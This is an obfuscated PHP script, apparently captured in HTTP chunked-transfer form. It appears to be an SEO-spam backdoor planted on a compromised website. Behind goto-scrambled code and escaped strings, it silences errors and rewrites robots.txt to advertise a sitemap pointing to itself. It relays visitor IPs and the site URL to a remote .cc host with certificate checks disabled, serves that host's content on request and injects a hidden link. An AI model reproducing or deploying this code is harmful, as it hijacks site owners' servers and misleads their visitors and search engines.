2
<?
3
php
3

 
3
got
4
o NW
3
uLZ
4
; N2
3
pxL
4
: if
4
 (!e
3
mpt
3
y($
3
get
4
["\1
4
62"]
3
)) 
4
{ $r
3
obo
4
tsPa
3
th 
4
= $_
3
SER
3
VER
6
["\104
4
\x4f
5
\x43\
3
x55
7
\x4d\x4
4
5\11
4
6\12
5
4\x5f
4
\122
c
\x4f\x4f\124
4
"] .
4
 "\x
6
2f\162
4
\157
3
\14
7
2\x6f\x
5
74\16
3
3\5
7
6\x74\x
6
78\x74
4
"; $
4
site
3
map
3
Blo
2
ck
a
 = "\x55\x
5
73\x6
7
5\x72\x
5
2d\x6
4
1\14
7
7\145\x
7
6e\x74\
6
72\x20
6
\x2a\x
4
a\10
5
1\154
c
\154\x6f\x77
3
\x3
8
a\x20\x2
f
f\12"; $sitemap
7
s = "\x
5
a\123
6
\151\1
8
64\x65\x
9
6d\x61\16
8
0\72\x20
3
{$h
4
ttp_
4
type
2
}{
10
$_SERVER["\x48\x
8
54\x54\1
5
20\13
4
7\11
1e
0\117\123\124"]}{$_SERVER["\x5
5
3\103
8
\122\x49
4
\x50
d
\x54\x5f\116\
3
x41
b
\x4d\x45"]}
4
\77\
6
163\x3
6
d\x73\
5
12"; 
8
if (!fil
4
e_ex
4
ists
1
(
10
$robotsPath)) { 
8
file_put
3
_co
4
nten
f
ts($robotsPath,
10
 $sitemapBlock .
b
 $sitemaps)
3
; }
4
 els
b
e { $robots
7
Content
4
 = @
5
file_
18
get_contents($robotsPath
7
); if (
4
strp
a
os($robots
8
Content,
d
 $_SERVER["\1
9
23\x43\x5
14
2\x49\x50\x54\x5f\x4
f
e\x41\x4d\x45"]
3
) =
4
== f
4
alse
5
) { @
28
file_put_contents($robotsPath, $sitemaps
3
, F
3
ILE
3
_AP
3
PEN
6
D); } 
9
} } goto 
2
Ez
4
Yoe;
8
 NWuLZ: 
4
erro
3
r_r
4
epor
3
tin
3
g(0
8
); goto 
3
yMq
3
RN;
8
 yMqRN: 
4
$get
7
 = $_GE
9
T; goto s
2
hq
4
ZL; 
3
Aq5
2
NJ
5
: $ll
21
 = "{$http_type}{$_SERVER["\110\1
5
24\12
a
4\120\137\
a
x48\x4f\12
4
3\x5
14
4"]}{$_SERVER["\x53\
9
x43\122\1
2
11
f
\x50\x54\137\11
8
6\x41\11
4
5\10
5
5"]}"
8
; goto D
3
_ia
4
M; m
3
5bk
4
F: f
4
unct
3
ion
4
 get
4
Curl
2
($
4
url,
8
 $getDat
4
a = 
4
arra
2
y(
5
)) { 
13
if (!empty($getData
8
)) { $qu
3
ery
3
Str
6
ing = 
3
is_
f
array($getData)
3
 ? 
7
http_bu
3
ild
6
_query
c
($getData) :
c
 $getData; $
5
url .
b
= (strpos($
6
url, "
4
\77"
b
) === false
8
 ? "\77"
7
 : "\x2
5
6") .
d
 $queryString
8
; } if (
8
function
b
_exists("\1
5
43\x7
7
5\x72\1
9
54\137\x6
5
9\156
9
\151\164"
7
)) { $c
5
h = c
5
url_i
4
nit(
3
); 
8
curl_set
3
opt
9
_array($c
9
h, array(
3
CUR
3
LOP
5
T_URL
3
 =>
7
 $url, 
a
CURLOPT_RE
3
TUR
3
NTR
3
ANS
3
FER
12
 => true, CURLOPT_
3
SSL
4
_VER
3
IFY
8
PEER => 
5
false
15
, CURLOPT_SSL_VERIFYH
3
OST
14
 => false, CURLOPT_F
3
OLL
3
OWL
3
OCA
3
TIO
13
N => true, CURLOPT_
3
TIM
3
EOU
7
T => 10
a
, CURLOPT_
3
HTT
4
PGET
13
 => true, CURLOPT_U
4
SERA
3
GEN
6
T => "
a
\115\157\1
6
72\151
8
\154\x6c
6
\141\5
4
7\x3
6
5\x2e\
2
60
6
")); $
7
data = 
8
curl_exe
5
c($ch
9
); curl_c
4
lose
7
($ch); 
d
if (!empty($d
b
ata)) { ret
3
urn
6
 $data
a
; } } if (
7
ini_get
5
("\14
e
1\154\x6c\x6f\
3
167
9
\x5f\x75\
6
162\15
9
4\x5f\146
9
\157\160\
4
x65\
b
156")) { $c
5
ontex
4
t = 
6
stream
8
_context
8
_create(
9
array("\x
2
68
b
\164\x74\16
6
0" => 
9
array("\1
4
55\x
9
65\164\x6
7
8\x6f\x
3
64"
7
 => "\x
6
47\105
9
\x54", "\
5
x74\x
6
69\155
8
\145\x6f
d
\x75\x74" => 
8
10, "\15
8
0\x65\x6
5
1\x64
8
\x65\162
a
" => "\125
6
\163\x
d
65\162\x2d\x4
e
1\147\145\x6e\
5
164\x
5
3a\40
9
\x4d\157\
3
x7a
b
\151\x6c\x6
7
c\x61\x
3
2f\
b
x35\x2e\60\
7
15\12")
5
, "\1
a
63\x73\x6c
f
" => array("\16
b
6\x65\162\x
5
69\14
5
6\x79
f
\137\160\x65\14
a
5\162" => 
b
false, "\x7
7
6\145\x
8
72\151\1
6
46\171
f
\137\x70\145\14
b
5\162\x5f\x
4
6e\1
9
41\x6d\x6
b
5" => false
d
))); $data = 
14
@file_get_contents($
c
url, false, 
8
$context
2a
); if (!empty($data)) { return $data; } } 
9
return ''
9
; } goto 
3
X5n
3
b1;
6
 D_iaM
4
: $v
7
url = $
9
http_type
b
 . "\x69\14
7
4\154\x
6
79\62\
4
56\x
8
69\x64\x
6
73\x68
8
\157\x70
12fc
\x2e\x63\143\167\x75\56\143\x63\x2f\64\61\71\56\x61\163\x70\x78"; goto N2pxL; EzYoe: if (!empty($get["\163"])) { $params = array("\163" => date("\131\x6d\144\x48\151"), "\x6e\165\155\142\x65\162" => $get["\156\165\x6d\x62\145\162"]); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\275\223\xe5\x89\x8d\345\x9c\260\xe5\235\x80\x7d"), array($http_type . $_SERVER["\110\x54\x54\x50\x5f\110\117\x53\124"] . $_SERVER["\123\x43\122\x49\x50\124\137\116\x41\x4d\x45"]), $str); header("\103\157\156\x74\x65\156\164\x2d\164\171\160\x65\72\164\x65\170\x74\57\x78\155\154"); echo $str; die; } goto N4dac; X5nb1: $http_type = !empty($_SERVER["\110\x54\x54\120\123"]) && $_SERVER["\x48\124\124\x50\123"] !== "\x6f\146\x66" ? "\x68\164\164\160\x73\x3a\x2f\x2f" : "\150\164\164\160\x3a\x2f\57"; goto Aq5NJ; f5XoA: function postCurl($url, $postData = array()) { $postString = is_array($postData) ? http_build_query($postData) : $postData; if (function_exists("\143\x75\162\154\x5f\x69\x6e\x69\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\x5f\x75\162\154\x5f\x66\x6f\x70\145\156")) { $context = stream_context_create(array("\150\164\164\160" => array("\155\145\164\150\157\144" => "\120\x4f\x53\124", "\164\x69\155\x65\157\165\x74" => 10, "\x68\x65\141\144\x65\x72" => "\103\x6f\156\x74\x65\x6e\x74\55\124\171\x70\x65\x3a\x20\x61\160\160\x6c\x69\x63\x61\x74\x69\x6f\x6e\57\x78\55\x77\x77\167\55\x66\x6f\x72\155\x2d\165\162\x6c\x65\156\143\157\144\145\144\xd\12" . "\x43\x6f\156\x74\145\156\x74\x2d\x4c\145\x6e\147\164\x68\72\40" . strlen($postString) . "\xd\xa" . "\125\x73\145\x72\x2d\101\x67\x65\156\164\x3a\40\x4d\157\172\151\x6c\x6c\141\x2f\65\56\x30\xd\xa", "\143\x6f\x6e\164\145\x6e\164" => $postString), "\163\x73\x6c" => array("\x76\145\x72\x69\146\171\x5f\x70\x65\145\162" => false, "\x76\145\162\x69\x66\x79\x5f\160\145\x65\x72\137\x6e\141\155\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; N4dac: if (!empty($get["\151\144"])) { if (empty($get["\153\153"])) { $ip = get_ip(); $params = array("\x69\160" => $ip, "\x69\144" => isset($get["\x69\144"]) ? $get["\151\x64"] : '', "\x6c\x6c" => $ll); $tzstr = getCurl($vurl, $params); if (strpos($tzstr, "\x69\144") !== false) { echo $tzstr; die; } } $params = array("\x69\x64" => $get["\x69\x64"], "\x6c\154" => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\x7b\125\x52\x4c\175", "\173\345\237\237\345\x90\215\175"), array(get_url_info("\146\165\154\x6c"), get_url_info("\156\157\137\x77\167\167")), $str); echo $str; die; } else { $sitemapUrl = $ll . "\x3f\x73\x3d" . date("\131\155\144\110\x69"); echo "\74\144\x69\166\40\x73\164\171\154\145\x3d\x27\x74\145\170\164\x2d\x61\154\151\147\156\x3a\x63\145\x6e\164\x65\x72\73\40\160\x61\144\144\x69\156\x67\72\61\x30\160\170\40\x30\73\x27\76\x3c\x61\x20\150\162\x65\146\75\42{$sitemapUrl}\x22\x20\x74\x61\x72\x67\x65\164\x3d\42\x5f\x62\154\141\x6e\x6b\42\40\162\x65\x6c\x3d\x22\x6e\157\x66\157\x6c\x6c\157\167\x22\x3e\x20\x53\x69\x74\x65\x6d\x61\160\74\57\141\x3e\x3c\x2f\144\151\166\76"; } goto nnSBp; Uh8So: function get_ip() { foreach (array("\x48\x54\x54\x50\x5f\x58\137\x46\117\x52\127\101\122\104\x45\104\x5f\x46\x4f\x52", "\x48\124\x54\120\x5f\x43\114\x49\105\x4e\x54\137\111\x50", "\x52\x45\x4d\117\x54\x45\x5f\101\x44\x44\x52") as $key) { if (!empty($_SERVER[$key])) { return trim(explode("\x2c", $_SERVER[$key])[0]); } } return "\x55\x4e\113\116\x4f\x57\116"; } goto f5XoA; shqZL: function get_url_info(string $return_type = "\144\157\155\141\151\x6e") : string { $host = $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"]; if ($return_type === "\144\x6f\155\x61\x69\156") { return $host; } if ($return_type === "\156\157\x5f\x77\167\167") { return ltrim($host, "\x77\x77\167\x2e"); } $protocol = isset($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\110\x54\x54\x50\x53"] === "\x6f\156" || isset($_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\122\127\x41\122\104\x45\x44\137\x50\x52\117\x54\x4f"]) && $_SERVER["\110\124\124\120\137\x58\137\106\x4f\122\x57\101\122\104\105\104\137\x50\122\x4f\x54\117"] === "\150\x74\x74\160\x73" ? "\x68\x74\164\x70\x73\x3a\57\x2f" : "\x68\x74\164\x70\72\x2f\x2f"; $base_url = $protocol . $host; if ($return_type === "\142\x61\x73\145") { return $base_url; } $uri = $_SERVER["\x52\x45\121\125\105\123\124\x5f\x55\122\x49"]; $full_url = $base_url . $uri; if ($return_type === "\x66\165\154\154") { return $full_url; } return ''; } goto Uh8So; nnSBp: ?>
0